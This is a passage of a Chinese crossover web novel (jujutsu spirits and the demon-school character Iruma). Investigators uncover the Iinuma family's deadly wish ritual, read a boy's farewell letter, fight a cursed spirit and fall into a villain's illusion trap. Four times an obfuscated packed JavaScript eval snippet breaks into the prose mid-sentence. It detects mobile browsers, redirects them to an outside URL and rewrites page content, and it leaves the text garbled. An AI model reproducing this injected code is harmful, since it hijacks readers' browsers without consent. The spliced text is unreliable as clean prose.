【这一步,饭沼家完全不假思索,即使是懵懂的小女儿,也抓着手里的蜡笔一笔一划写下了心里想着的东西。】 “等等!”入间喊停,“请把进度条往回拉两分钟,我想看看上面写的是什么内容。” “您不需要担心。”导演依言暂停了视频,但是即使放大,那些字迹还是模糊不清,“待会还会出现的。” 也是,谁能不好奇这个仪式和内容呢。 导演对此相当理解。 说实话,要不是因为饭沼家的失踪,在这个改运仪式面前,他也会心动的。 【伴随着纸条被放入,四面镜子照着参与者的面孔,在用陌生语言进行近似于唱诵的声音里,火焰闪烁,映出了第五个影子。】 【矢代诚太郎出现在了画面里,拎着一只壶,向一家四口的杯子里倾倒着红色的液体:“石榴汁能够让你们身体得到稳固,和神灵交谈的时候不会被恶意入侵。”】 【仪式完成之后,主持人他们并没有急着离开,而是在饭沼一家和矢代诚太郎出门前,冲到了仪式残留的灰烬旁,拨弄了一下火堆,从里面翻出来一只铁盒,里面赫然是他们投下的纸条。】 【可见摄制组也抱着完整记录下仪式的念头。】 【取出纸条,一笔一划工工整整的,是饭沼家儿子的字体,写着“数学”。看到的人会心一笑,这是属于孩子们自己的学业上的小烦恼,很多人都会经历这样的阶段,把成绩看作是相当重要的东西,但是也会因为困难而排斥。】 【女儿的纸条特色鲜明,是蜡笔歪歪扭扭,画着“贫穷”二字,不知道是受到了家人的影响,还是生活品质的下降对她来说造成了不安。至于其他两张……成年人的字迹不大好认,但是或许也不需要辨认,毕竟,它们都写着“饭沼明正”的字样。】 【“欸?真的假的?”主持人和摄影师情不自禁惊呼。】 此刻的想法居然达成了屏幕内外的共振,入间惊讶地瞪大眼睛,脑子里闪过的也是这样的迷茫。 儿子的苦恼很常见,女儿可能也是因为通过父母的争吵明白了什么……但是……但是作为父母,为什么,会希望将自己的儿子饭沼明正抛弃掉? “从结果上来看,实现了愿望的,貌似只有饭沼家的小女儿……” 导演的想法被否认,入间摇摇头:“不,是只有饭沼明正的心愿没有被实现……不对,他的心愿也实现了……” “您是说……”阿斯莫德几乎是立刻明白过来入间的言外之意,“饭沼家的小女儿抛弃‘贫穷’,所以他们家中奖了……而饭沼夫妇,他们想抛弃自己的儿子,虽然不知道为什么,但是现在他们全都神隐,但是饭沼明正还在这里,所以……” “他们许的愿望,只是不要这个孩子,实现的时候,他们离开,也可以算得上是‘抛弃’掉了他。” 入间能够想到这点的原因很简单——就像是他的父母卷走钱出去旅行一样,住着的出租房和欠债还留给了他,这种情况下算父母“抛弃”了他呢?还是他“抛弃”了父母? 显然,饭沼明正,和他是一样的情况。 而写下了“数学”的饭沼明正,最后和矢代诚太郎一起被变成了诡异的嵌合体,完全的死去了,那么他也确实不需要再苦恼数学了。 “这种……这种怎么能够叫改运……怎么能算是实现愿望呢?”导演听到入间的推论之后,抱着头陷入了不可置信的迷惘。 是啊,这怎么能算实现愿望呢? 现在他们可以确定这件事十有八九和咒灵有关系了,毕竟这样扭曲的、实现愿望的可怕方法,真的很符合咒灵的特性。 大概是在死亡和恐惧的威慑下,导线整理情绪的速度也相当快,像是很快就接受了这样的现实,拿出了最后一卷:“关于后来什么的,因为我隐约觉得不对劲,想着拍摄点有噱头的东西,所以在饭沼一家连带着矢代教授都出事以后,我自己去收集了一些信息……都在这一卷里,希望能够帮到你们。” 【“明正啊……”画面只照出半身,隐约能看到熟悉的建筑和“饭沼”的名字,站在建筑隔壁的邻居有点苦恼地回忆,“是个很内向的孩子吧?”】 【“内向吗?”这次的声音是从镜头后传出的,很熟悉,是导演的声音。】 【“是的,只上了几年学,因为经常撒谎,说自己能看到怪物……不太合群呢,回来之后总是很狼狈的样子。”邻居叹了口气,“要我说还是因为父母不关心吧?养孩子又不是小猫小狗,给口饭就能活的……”】 【导演捕捉到了“只上了几年学”这个关键词,继续追问:“不太合群,您的意思是,他后来是没有上学了吗?”】 【“没有了吧?自从他妹妹出生,也不对,差不多五岁的时候,他就不肯去上学了。”邻居似乎也很少能找到和自己聊这些的人,好不容易碰到一个聊天搭子,立刻滔滔不绝,“所以饭沼先生对他很严格呢,就算是生活在在隔壁,都能听到小孩子的哭声……”】 【“不过要我说,明正这孩子也有不对,天天捡回来一些奇奇怪怪的东西,把房子弄得乱糟糟的,所以饭沼太太也总是生气。”邻居作为家庭主妇,似乎很能理解那种打理家务的感受,“后来不是生意不太好了嘛,就更对这个孩子严格了……”】 【“好像是觉得因为孩子捡回来的各种东西阻挡了财运还是什么的,总之把事情归咎给了孩子嘛……”】 在一旁旁听许久的辅助监督开口了:“听起来,这个孩子像是能够看到咒灵啊。” 咒术师一般在五岁到十岁这个区间拥有看到咒灵的能力,有些人未能觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869919|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒术式,也有些人术式太弱,所以咒术师出生在普通人家,很容易夭折。 这也是御三家能够在咒术界拥有那么大话语权的原因,伴随着垄断和拉拢,为其效力还能够得到更多的资源,很多人在打压之后就会选择他们成为靠山。 所以对于咒术界的改革才会这么艰难。 “看起来,他的妹妹,可能也有点类似的能力。” 从他努力保护妹妹这点来看,兄妹之间的感情也相当好。 【镜头一切,出现在了车里。大概是深夜,路灯下都冷冷清清,看不到人影,甚至能听见隐约的呼噜声。】 【“真的……他们上传到主页的视频是真的……”伴随着车内灯光被打亮,衣物发出悉悉簌簌的摩擦声,导演语气颤抖推了推旁边的人,“我们没白等……他们一家真的出来了!”】 【饭沼家四口人,从房子里慢慢地走了出来,其中饭沼夫妇和小女儿穿着一样的睡衣,饭沼明正的衣服看起来料子却好很多,裤腿上还沾着泥土,并且和其他三人完全不是一个风格。】 【他们闭着眼睛,像是在梦游,步伐缓慢地游荡在路上,似乎在追寻着什么。】 【“不、不,我要留在车上……”旁边人的语气都在颤抖。】 【“胆小鬼!”导演骂了一句,然后抓着摄像头打开车门,走了出去。】 【一路尾随,饭沼家似乎没有发现身后还跟着一个人,只是在路过一架小桥的时候,默默地驻足,停留了很久。】 【直到凌晨天边透露出微光,有人发出尖叫,导演慌忙躲进树丛,拍摄着这一家似乎忽然被惊醒的恍惚样子。】 【“我们,怎么会出现在这里?!你、你怎么也在?”】 【镜头再次跳切,画面稳定在了一张桌子上,上面凌乱地铺着照片和报纸,赫然是与饭沼家相关。】 【《饭沼家失踪案》、关于饭沼家的全家福,被扭曲在一起的两个人,以及在闯关节目中的截屏……】 【一家四口,却像是在仪式中那样,有五个影子。饭沼明正的旁边,明显多了一个一模一样的人,但是是一团黑影。】 【不知道是不是错觉,在看向那团看不清五官的黑影时,能够清晰地感觉到……那团影子也在看向镜头外的人,并且露出了一个充满恶意的笑容。】 【伴随着导演的惊叫,录像彻底结束。】 导演在重温这段的时候,忍不住用纸巾擦了擦眼睛,语气还带着惊魂未定的颤抖:“我不知道……我不知道算不算怨灵作祟,我打听过了,饭沼家出现的那些区域,都是有人出意外或者自杀死去、传出过灵异事件的地方……” “所以我完全不敢再继续拍下去了……我……我还有家庭……” “拜托了……救救、救救我们……” 入间从看完录像带之后就陷入了思索,被导演抓住恳求之后如梦初醒,像是被启发了什么:“饭沼明正,真的是这家的孩子吗?” 45.岸田太太 入间提出这样的想法不是没有理由的。 根据对邻居的采访来看,很显然,饭沼家对大儿子饭沼明正实在算不上多有感情,或者说,在经历过之前地下偶像事件之后,入间敏锐地察觉到了饭沼家也一样,对孩子的爱意取决于他们的“价值”。 小女儿画画很有天赋,所以是饭沼家值得拿出手炫耀的“资产”,也因此得到了更多的关注和物质条件。 但是,看那个孩子怯生生的样子,还有言行中流露出的、父母也无法动摇的、对哥哥的依赖,恐怕给予的耐心也有限。 大儿子神神叨叨,“丢人”,给家庭带来负担,所以他们许愿的时候,抛弃这个“累赘”的急切大于重新有钱,或者说,他们认为只要没有了这个儿子,一切就都会重新好起来。 总之,在这样的情况下,饭沼明正真的能够像录像里那样阳光开朗、一看就经历过仔细的培养教育吗?放在小女儿饭沼铃的身上是可行的,因为有哥哥在前面,也就是“经验”,但是显然…… 这种不作假的开朗,不像是能够出现在“饭沼明正”这个身份上的情绪。 “或许,我们还需要调查一下?” · 饭沼家的神隐事件并没有过去太久,但是庭院内的植物带来的食物链吸引来的、因为食物丰沛而在此定居的蜘蛛,已经在屋檐下结出了一张接着一张、密密麻麻的网,也因此显示出一种落幕的衰败。 就像这个家庭最后的走向一样。 入间小声说了句“抱歉打扰了”,从低矮的院墙那里直接翻进了花园,然后伸出了手,轻轻推了推那扇门。 意料之外情理之中的,门没有上锁,伴随着大门打开,一股说不清道不明的味道扑面而来。 玄关处出门时候穿着的鞋子还朝着外面,脏衣篮里的衣服一半挂在篮身、一半挂在洗衣机上,一切似乎定格在了生活的某一瞬间,就像是在做着什么的时候所有人忽然凭空消失,留下满地狼藉,仿佛下一刻还会回到这里。 楼下似乎看不出什么,于是入间换上鞋子来到了楼上,尤其是那个拍摄到黄色身影的房间。 很好辨认,房间门上是用蜡笔写的“铃的哥哥”,画着大大的笑脸和爱心。挂着破破烂烂像是被摧残过的自制简陋破魔箭,门口放着一叠盐,透过大开着的门,还能看到墙上各种模糊的、张牙舞爪的深色怪物图画和地上的豆子,算是彻底落实了这个孩子有类似天赋的猜想。 桌子上还有一个本子,上面的字迹和妹妹是如出一辙的歪歪扭扭,像是躲在被窝里写出来的。里面记录着自己遇到的、各种各样大大小小的“怪物”和自己最后怎么打败、或者怎么逃跑。 大概是被发现过,有的地方有破碎黏贴的痕迹,最后一页用小字写着“留给我亲爱的妹妹”。 枕头底下还有一角纸页,抽出来看是饭沼明正写的“遗书”,平假名和汉字交杂,偶尔还会出现一些错别字。 【亲爱的妹妹,】 【如果大家能够回来,你一定是最先来到我的房间的人,不要为我感到悲伤,我要去寻找那个老先生了。他给我打了电话,希望能够补偿我,我说想要换回你们,所以我们决定尝试召唤仪式,就算不能救回你们,也要把它消灭掉。】 【我觉得跟在你们身后的“神灵大人”跟我平时遇到的怪物很像,很可怕,但是没能阻止你们,对不起,希望我可以把你们换回来。对不起良树,不是我没用的话,他不会神隐。】 【本子上记着怪物的应对方法,希望你能用得上,不要被爸爸妈妈发现,也不要被同学注意到。】 【爱你的哥哥】 这个孩子,在这样小心地抵抗着他所恐惧的咒灵,也在这样的家庭里努力保护着自己有同样能力的妹妹。 但是就结果而言,似乎也没能幸免。 怀着沉重复杂的心情准备离开,抬头,却发现外面有了新的访客。 小门外,有个形容憔悴、头发灰白的女人,个子很小,手里拿着一把水果刀,无神地看着眼前,一下又一下、一下又一下地扎着饭沼家的门牌:“该死……你们都该死……还回来……把他还回来……” 这些话的指向性太强,以至于入间不由自主来到她身边询问:“那个……请问您……” 女人那双蒙着阴翳般的眼珠迟钝地转了转,从他们的脸上淡淡扫过,然后定格在了他们身后畏畏缩缩的导演身上。 谁也不知道这个瘦小的女人究竟是怎么爆发出这样强大的力量,直接把入间和阿斯莫德撞到了一边,阿斯莫德立刻伸手试图抓住入间,反而被入间拉了一把站稳。 而辅助监督几乎是立刻明白了女人要干什么,连忙抓住她那只拿着水果刀的手:“请务必冷静一下!” “就是你……就是你牵头了仪式……”女人即使被辅助监督牵制着,眼睛也死死盯着导演不放,“是你……是你带走了我的良树……” “我、我并不认识你……”导演跌坐在地上,抱着头,大概是因为连日以来的精神紧绷,居然像个孩子那样躺在地上哭了出来,“我没有……我才不会……我才不会害人……不要来找我啊啊啊啊——” 可是,在看到女人的五官那一刻,大家就能明白,她口中的“良树”是谁了。 “我是个蠢货……我怎么会相信他们的话……”女人也脱力一般跌坐在地上,像是被彻底抽空了生气的人偶,“我的……我的孩子……” 最后只能由阿斯莫德和辅助监督人手一个,把两人拖去了最近的咖啡馆,给他们点了杯热饮,努力平复情绪。 捧着热乎乎的杯子,女人的脸上似乎也有了一点血色。入间从包里找出一张照片,推到了她的面前,主动开启话题:“您好,我们是受人委托来调查神隐事件的,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872389|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问您的孩子,是长这个样子吗?” 照片上的,赫然就是在录像中出现的“饭沼明正”。 “良树……是个特别乖巧的孩子……为了他我什么都可以做……”女人垂下头,眼睛里已经没有泪水了,只是絮絮地念叨,“我们和饭沼家是亲戚……他们说想借一下良树,帮忙代替明正出镜……我不知道,我不知道是灵异类啊……” 看到这样两张脸同时出现,没有人不会怀疑他们之间的亲缘关系。 那么这样一来,存在疑点的漏洞也被填补,事情的走向和脉络清晰可见、逻辑也严丝合缝。 因为参加了节目,是需要在聚光灯下的,所以饭沼家决心排除掉自己的“污点”儿子,借来了饭沼太太妹妹的孩子岸田良树。 岸田良树是个自信阳光的好孩子,被母亲倾注了足够的关怀和爱意,能想到的最大的烦恼也只是数学。 因为良树是饭沼家的“理想儿子”,所以饭沼家对于成为单亲妈妈独自抚养孩子长大的岸田太太多有照顾,为了防止孩子因为单亲家庭被孤立,岸田太太偶尔也会请饭沼家代替自己作为家长出面,也因此,岸田太太并没有把这件事放在心上。 但是,仪式失败了。或者说,这个仪式是在和咒灵做交易,这就代表着绝对难以全身而退。 参加了改运仪式的四个人,都被“打开了”灵魂的通道,成为了咒灵手底下操控的傀儡,为什么录像带里的“饭沼明正”不管是衣服还是身上的脏污程度都跟其他人有区别,因为他不属于这个家庭,连梦游也是“远道而来”。 所以,其实神隐的,是四个人。 而结合前面的调查和后来的结果来看,作为有咒术师天赋的饭沼明正,在发现了这点之后,找到了因为仪式造成这家人神隐而一蹶不振的矢代诚太郎,希望能够一起想办法把神隐的家人们找回来。 最后结果却也只是……被咒灵戏弄,变成、变成畸形的嵌合体。 “明正是个好孩子,他答应会想办法带良树回来……”岸田太太语气里饱含着复杂的情绪,恨吗?当然是恨的,可是饭沼明正也是无辜的孩子,“他把饭沼家所有钱都给了我,说希望我能够好好生活……我早该知道的……什么人会抛弃一切身外之物呢……” 当然是已经做好准备离开世界的人。 不管是决心牺牲自己,还是替家人补偿,免除其他纷扰,都在证明,这个孩子,已经在很努力地生存下去了。 可是,咒灵这种生物,作为负面情绪的集合体,本身就带着极大的不可信。 能为自己的行为感到愧疚的矢代诚太郎,希望能够救回家人的饭沼明正……本来都是很好的人,本来应该活下去…… 全都……全都…… “我们……会想办法替他们报仇的。”入间深吸一口气,最后只能说出这样一句苍白的承诺,“请保重身体。” 46.恶魔的陷阱 整件事脉络清晰展开之后,咒灵的去向自然也水落石出。 按照饭沼明正在自己的遗书里所写的内容,他和矢代诚太郎的目的,首先是驱除或者束缚咒灵,其次是想办法换回家人。 而咒灵在制造了他们的死亡之后,迟迟没有现身,能最大限度做到的也只是用残秽对导演进行精神污染。咒灵自然学不会适可而止,那么它的去向,不言自明。 “我们先去明正和矢代诚太郎先生他们出事的地方!” 嵌合体被发现的地方,正是矢代诚太郎的家里。 矢代诚太郎的家比起饭沼家要简陋了很多,是相当普通陈旧的民居,甚至只是单间而非独栋,和之前地下偶像事件中的坂田家公寓房结构类似,不过相比起来更加年久,以至于整栋楼看起来只有这么一个住户。 拿着从相关部门那里拿到的钥匙,入间推开了这间房间的门。 入户就是扑面而来的、书本和灰尘的气味,随处可见一叠又一叠书本资料,但是或许是因为查案的时候一不小心带进来些小虫子,在无人打理的时间里,这些东西的表面同样覆盖着蛛网。 但是,原本应该盘踞捕捉猎物的蜘蛛,却不知所踪。 在床边的毯子上,摆放着两面镜子,和绿意盎然的绿色草冠,下面压着的地毯编织出的暗红色纹路带着束缚和隐藏的能力,无声地镇压着在暗中给房间带来窒闷感的未知。 几乎是推开门的那一瞬间,已经逐渐熟练的入间立刻放出“帐”:“由暗而生,暗中之暗。污浊残秽,皆尽袚禊!” 伴随着小小的房间被结界包裹,原本只能为咒术师所见的怪物立刻在镜子旁现形,毯子上的纹路“活”了过来,化作发着光的红绳,死死捆住那只不断挣扎的咒灵。 饭沼明正和矢代诚太郎确实做到困住了咒灵,但是代价是生命。 入间忽然沉默了。 那只肉瘤一样臃肿、找不到首尾的怪物,体表分布着好几张熟悉的脸,他甚至可以辨认出它们曾经属于谁。 良树、明正、饭沼夫妇、矢代诚太郎……甚至还有一些陌生的面孔,唯独没有见到饭沼家的小女儿铃。 “大家……在一起……不要分开……”咒灵裂开一张几乎是拦腰截断身体的大嘴,用断续、刺耳的声音说道,“大家……仪式……幸福……” 幸福……吗? 真是,恶毒又恶心。 咒灵存在的意义,到底是什么呢? 失去生命,变成这样恐怖的东西,也能够叫做幸福吗? 灾厄之书里的魔植被召唤出来,死死缠住那颗如同心脏一般跳动的肉瘤咒灵,尖锐的刺伴随着咒灵的躁动深深扎进它的体内,流下的黑紫色液体发出“滋滋”的腐蚀声。 入间抬手,恶食戒指里的能量源源不断涌出,耳饰变化的弓箭在无声的愤怒中被调动到最强的状态。弓弦拉满,盘踞着紫色光雾的箭矢直接穿透咒灵的身体,把它钉在结界的壁垒上。 “入间大人!”阿斯莫德惊呼着上前,想要察看入间这一箭对自己造成的伤害,却在余光中瞥见了什么,使魔戈尔贡蛇瞬间挡在他们身前,也拦住了咒灵从伤口里弹出的触手。 “好痛……没有了……补全……家人……”咒灵用饭沼先生的声线发出尖锐的啼哭声,听起来荒诞又讽刺,“一起……一起……成为家人吧……” 伴随着皮肉下的涌动,入间的箭,被它吸收了! 不止是箭矢,连戈尔贡蛇的攻击都被完全接纳,甚至于那被加强的触手抓住了戈尔贡蛇的身体,硬生生挖下了一块带着鳞片的皮肉。 确实比之前遇到的咒灵要棘手,但是,也不是完全不能解决。 毕竟,入间的术式虽然使用受限,但是有个相当bug的吸收能力。 “阿兹君,把它打出去!” “好!” “砰——” 熊熊燃烧的烈焰在精妙的控制下包裹住咒灵,撞碎阳台的玻璃门,狠狠飞了出去。 入间打开灾厄之书,翻到其中一页,借用了同学的家系能力“睡床”。 伴随着“轰隆”的巨响,原本坚硬的水泥地面如同橡皮泥一般粘稠柔软、随意操纵,咒灵试图挣扎,却像是一脚踩进了沼泽,越是行动,就陷得越深。 顾名思义,“睡床”就是能够将所有物质都变成理想状态的“床”,无视物体的材质对其进行重构。 从窗台翻下来,入间低下头,看着不断浮沉挣扎的咒灵,轻声说道:“既然不能像常规咒灵一样直接通过术式消灭,那就彻底吸收吧。” 都是能够吸收咒力,没理由灾厄之书会输给它。 照旧是恶食戒指和灾厄之书对猎物对半分,伴随着源源不断地咒力被吸收,咒灵的身体内部不知是谁发出了微弱的祈求:“回家、回、回家……” “请安息吧。” 一阵风吹过,被咒灵带出来的书本散落飞舞,入间捡到了其中一本,赫然是矢代诚太郎的日记: 【x年x月13日】 【今天,小林告诉我自己在一本平安时代的书上看到了神秘的仪式,根据我们的调查和推测,大概是改运仪式。】 【x年x月16日】 【改运的实验成功了,小林自愿报名参与了我们的仪式,中了一笔钱,刚好足够他父亲做完肿瘤切除手术。虽然代价是我们的几年寿命,但是能够拯救一条生命,这是值得的!】 【我决定想办法推广!】 【x年x月31日】 【不对、不对不对不对!】 【怎么会这样?】 【小林死掉了,他在跟我说了对不起之后主动被怪物吞噬死掉了……我们到底放出来了什么?】 【我要去找饭沼家!说不定来得及!】 …… 【为什么为什么为什么为什么为什么】 【它又吃了什么人?现在它比我之前看到的更恐怖了】 【我害死了他们】 接下来是大段的空白。 入间翻到了最后,还留存着文字的那页只有一句话:“对不起”。 难道还有谁策划了这一切吗?这样的念头一闪而过,被一声尖叫打断。 “救救我——” 风中夹杂着微弱的呼救声,似乎是个小孩子,分不清性别。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877342|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小孩子……会是没有在咒灵的体表出现的饭沼铃吗? 饭沼明正和矢代诚太郎……有成功救下什么人吗? 入间回过头,看到咒灵消亡的地方留下了一面锈迹斑斑的镜子,里面传出隐约的呼救声。 他没来得及多想,将镜子捡了起来。 但是,镜子忽然传来强烈的吸力,伴随着一阵白光闪过,入间消失在了原地。 阿斯莫德只抓住了他的衣角,被一起卷了进去:“入间大人!” 檐角的监控闪了闪,记录下了眼前的一切。感知到自己精心设计的礼物被触发,一双手点开了视频,刚好看到入间和阿斯莫德消失的那一幕。 于是那人微微抿着唇角,对着身边人开口:“他们进去了。” “什么!”身边人充满兴奋地起身,带倒了身边的台灯,明晃晃的灯光照在幕后人的脸上,赫然是之前解决了整个“不死鸟”机构的那个年轻女人。 女人不慌不忙给对面倒了一杯酒:“毕竟是善良的好孩子呢,怎么忍心错过救人的机会?” 起身的青年戴着眼镜,看起来文文弱弱,却在听到女人的话时由衷开始兴奋。 “太好了……就是要这样……”青年脸上露出了一种愉悦到极点的潮红,缓缓地推起垂下的头发,这时候才能看清右额生着一只角,暴露了非人类的本质,“绝望……痛苦……甚至是因为爱而造成的……何等美味……如果再是出现在入间君的脸上……” 他扔开手里已经死去多时的咒术师,充满迷醉地看着屏幕:“果然,虽然都是人类,但是入间君是不同的……只有入间君才是我最期待的大餐……” 他们遇到的起因只是融合性咒灵的实验,毕竟是要引起恐慌、制造落差事故,所以仪式也一定是需要研究的。 不知道那些咒术师做了什么,恐怕现在也确实没有任何人能够清楚仪式和过程,总之,在场的人全都死掉了。 一开始的判定的确是级别比较低的罕见咒灵,但是当派出去的咒术师全部折戟,甚至有幸逃跑的寥寥几人都失去了意识躺在医院里,几乎成为了植物人,才总算提起她的兴趣。 而她,也获得了一些……小小的惊喜? 一个明显不属于这个世界的、拥有人形和可怕的、狂热思维的……恶魔。 简直是……天降的助手,更何况还是对东京的咒术师高专横空出世的两个咒术师们如此了解旧相识。关于困住他们的设计,即使是她,也会拍案叫绝。 绝望和恐惧啊…… 青年举起酒杯,轻轻和对面的同盟干杯:“致愉悦和欲望,香织女士。” “致愉悦与欲望,奇里欧先生。” 这边正在虎视眈眈,那边不幸掉入陷阱的入间也确实因为幻境而由衷感到了恐惧。 “亲爱的,这是我们的孩子啊,好久不见!” 他的身后,熟悉的一男一女两个面孔模糊的身影,朝着他张开手臂:“现在,你可以离开魔界,和我们回家啦!” “我……”入间试图开口,却发现自己完全不能发出任何音节。 “爸爸妈妈很想你,来吧,我们亲爱的孩子。” 47.并行的幻境 站在他面前的两个人还是像记忆里的那样高大,跟他说话的时候还需要弯腰。 太奇怪了,他已经自己生活了很多年,已经满了十…… 十几来着? 总之,爸爸妈妈,离开他身边很久了。 对,他们明明已经把自己……已经怎么了来着? 不记得了…… 怎么会不记得? 他……他现在不是自己一个人生活了,他还有别的家人朋友!他们在哪里? 他要去找阿兹君和爷爷……爷爷……爷爷是谁?阿兹……阿兹? 原本的记忆如同潮水一般流失,越努力回想的东西越是容易模糊。 “宝贝?”站在那里的两人看着一动不动的入间,发出疑惑的呼唤。 回过神,已经过了不知道多久,入间眨了眨眼睛,看着面前的两个人,孩子本能中对父母的信赖和爱意逐渐占据上风。他的视角变得很矮,俨然是变回了小小的孩童模样,笑着抓住父母伸出的手指,充满信赖地跟在他们的身后。 “爸爸妈妈,你们回来了呀!” 男人点点头,空着的另一只手比比划划:“是呢,这次爸爸和妈妈在海上钓了好大一条鱼!可惜铃木君不在我们身边……” “亲爱的,瞎叫什么呢!”女人嗔怪着用胳膊捅了一下身边的男人,“入间,我们的孩子叫入间!” “哎呀太久没见忘记啦!”男人动作夸张地动了动身体,满不在乎,“没关系,反正我们回来了,这次会好好的,对不对啊,入间?” 一次一次又一次……真的兑现过承诺吗? 这样的念头一闪而过,入间停下了脚步,茫然地看着自己的父母。 “嗯?怎么啦?一起回去吧,爸爸妈妈不记得回家的路了呢。拜托了,亲爱的铃木、咳,入间宝贝!” “好——” 听到父母的请求,入间用力点了点头,往前走着。 但是很快他就发现,不知道什么时候,之前他站定的地方,多了一个一模一样的他,用一种他贫瘠的思维无法理解的复杂表情,看着他。 “你不过来吗?”入间有点好奇地问那个站在原地的自己。 另一个自己不吭声,只是一言不发地站着。 大概是耽误了太久,母亲转头呼唤入间:“入间,不回家吗?” “来啦!” 入间没有把这个小插曲放在心上,应了一声,然后兴冲冲来到了父母的身边。 狭窄昏暗的半地下室里,挤进了一家三口,在阴暗潮湿的环境里,作为奢侈品难得启用的灯泡在闪烁片刻后还是偃旗息鼓,于是入间轻车熟路翻出藏在鞋子里的手电筒,照亮了整个屋子。 “入间,家里有牙刷吗?” 入间从箱子底下找出崭新的牙刷:“在这里!” “入间,今天晚上怎么睡啊?” 入间抠开榻榻米,铺开被子:“这样我们都能睡得下啦!” “入间——” “入间……” 父母的呼唤此起彼伏,夹杂着夸赞。 “天哪,入间居然能换灯泡,太厉害了!” “今天我们的晚饭也交给入间吗?太好了!” 两个当事人全然不觉得将家庭里所有的事情交给孩子是多么荒谬不负责任的一件事,而已经习惯了这样行为的孩子也没有觉得有什么不对,为了父母的夸奖更加卖力的行动。 看了看地上堆着的、蔫巴巴的一撮野菜,他从枕头底下摸出自己攒了很久的钱,对着门内的人摆了摆手:“爸爸妈妈,你们先休息,我去给你们买吃的!” 走在路上,他快活得想要跟所有人宣告自己的爸爸妈妈回家了,即使是看到走在路上、平时超级严厉的房东太太他也会露出甜蜜的、充满期待的微笑:“平野太太,您好,我的爸爸妈妈回来啦!我要去帮忙跑腿买东西!” 对于入间来说,房东太太是个有点吓人的好人。她会用很低的价格将房子租给入间,冬天完全找不到食物的时候也会提供一点“剩饭”,还会偶尔介绍一点工作给他。 房东太太理了理自己身上还有些补丁和油烟的大衣,手里提着一只白底红色花纹的小盒子,看着这个个子小小、面黄肌瘦的孩子,表情实在算不上好看:“他们?哼。” 如果是别的孩子说帮忙跑腿,她能挤出一个笑来对这个孩子的行为进行赞许。但是铃木家?哈,常年把孩子扔在一边、连钱也留不下一分还得指望孩子自己挣钱给他们买吃的的混蛋夫妻,对于他们生下的血包孩子,她实在不敢放出什么鼓励的信号。 “但愿吧。”她嘟嘟囔囔地离开了。 入间并没有把这个插曲放在心上,抠抠搜搜花了一部分存款,拎着一大堆东西,开开心心回家去了。 “哦对,今天好像还是入间的生日!”女人吃着入间专门跑去便利店买的饭团,忽然拍了拍脑袋,“入间,要过生日吗?” 入间瞪大了眼睛,有些不可思议:“可以吗?” “当然!”女人和男人对了一个眼神,男人起身,拿出来一个小小的蛋糕,边角料组成的特价蛋糕看上去其实还是有点寒碜的,但是对于入间来说,已经是相当顶级的食物了,“这不是有生日蛋糕吗?” “真的耶!”入间忽略掉内心涌上来的迷茫和违和,开开心心鼓起了掌,“谢谢爸爸妈妈!” “不用谢啦,我们也没……”男人似乎准备说什么,被女人用胳膊肘戳了一下改口道,“毕竟你是我们的孩子嘛!” 没有碗碟,他们拆开了装蛋糕的纸盒子,分成四块,三块装蛋糕,一块切东西。 白底红花的纸片不知为何让入间觉得分外熟悉,但是一股奇怪的力量阻止了他的思考,饥饿了很久的身体渴望着糖分的摄入,已经没有力气再去想别的什么了。 没有蜡烛,但是入间闭上眼,虔诚许愿不再饿肚子。 蛋糕由男人来切分:“爸爸妈妈是大人,应该多吃点,入间是我们最爱的孩子,所以这颗樱桃分给你。” 三角形的蛋糕切成三份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894442|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,落到入间手里的却只有一个能甜甜嘴巴的尖尖,红得不正常的樱桃入口先甜后苦,散发着廉价香精的味道。 入间却舍不得吐出来,含在嘴里,像是还能从中获得一丝甜美的余韵。 “嗒!” 像是被樱桃核落在手边骨瓷盘的声音惊醒,阿斯莫德回过神,发现自己坐在艾利斯家的餐桌旁,母亲大人吃完手边的一碟樱桃,对着他揶揄:“我知道你归心似箭,就不拦着你了,去吧,晚上记得回家就行,我们亲爱的加班狂人。” 他……回魔界了吗? 